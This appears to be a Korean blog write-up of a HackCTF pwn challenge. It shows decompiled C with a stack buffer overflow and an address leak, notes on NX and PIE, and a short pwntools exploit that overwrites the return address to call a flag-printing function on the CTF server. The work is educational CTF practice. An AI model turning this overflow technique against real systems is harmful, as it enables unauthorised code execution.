void j0n9hyun()
{
char s[40]; // [esp+4h] [ebp-34h] BYREF
FILE *stream; // [esp+2Ch] [ebp-Ch]
puts("ha-wi");
stream = fopen("flag", "r");
if ( stream )
{
fgets(s, 40, stream);
fclose(stream);
puts(s);
}
else
{
perror("flag");
}
}
int welcome()
{
char v1[18]; // [esp+6h] [ebp-12h] BYREF
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Hello, Do you know j0n9hyun?");
printf("j0n9hyun is %p\n", welcome);
return _isoc99_scanf("%s", v1);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
welcome();
puts("Nah...");
return 0;
}
이번 문제 역시 NX와 PIE 보호기법이 걸려있어 NX에 의해 코드가 저장되는 영역을 제외한 나머지 영역에서는 실행이 불가능하고 PIE에 의해서 바이너리의 절대주소를 알 수 없다. gdb로 분석하면 아래 정보를 알 수 있다.
v1 위치 -> ebp - 0x12
j0n9hyun -> 890
welcome -> 909
익스플로잇 코드
#!/usr/bin/python
from pwn import *
context.log_level='debug'
r=remote("ctf.j0n9hyun.xyz",3008)
r.recvuntil("is ") # is 까지 수신
leak=int(r.recv(10),16) # welcome 함수 주소 정보
print("[+] welcome = "+hex(leak))
leak=leak-121
print("[+] j0n9hyun = "+hex(leak)) # 오프셋 차이를 통해 j0n9hyun 함수 위치 정보를 알아냄
payload=b"a"*22+p32(leak) # 22거리에 있는 welcome의 ret를 j0n9hyun 함수로 덮어씌움
r.sendline(payload)
r.interactive()
'시스템 해킹 > CTF' 카테고리의 다른 글
[HackCTF] RTL_ World (0) | 2021.09.19 |
---|---|
[HackCTF] Yes or no (0) | 2021.09.14 |
[HackCTF] Offset (0) | 2021.09.14 |
[HackCTF] Simple_Overflow_ver_2 (0) | 2021.09.13 |
[HackCTF] x64 Simple_size_BOF (0) | 2021.09.13 |
댓글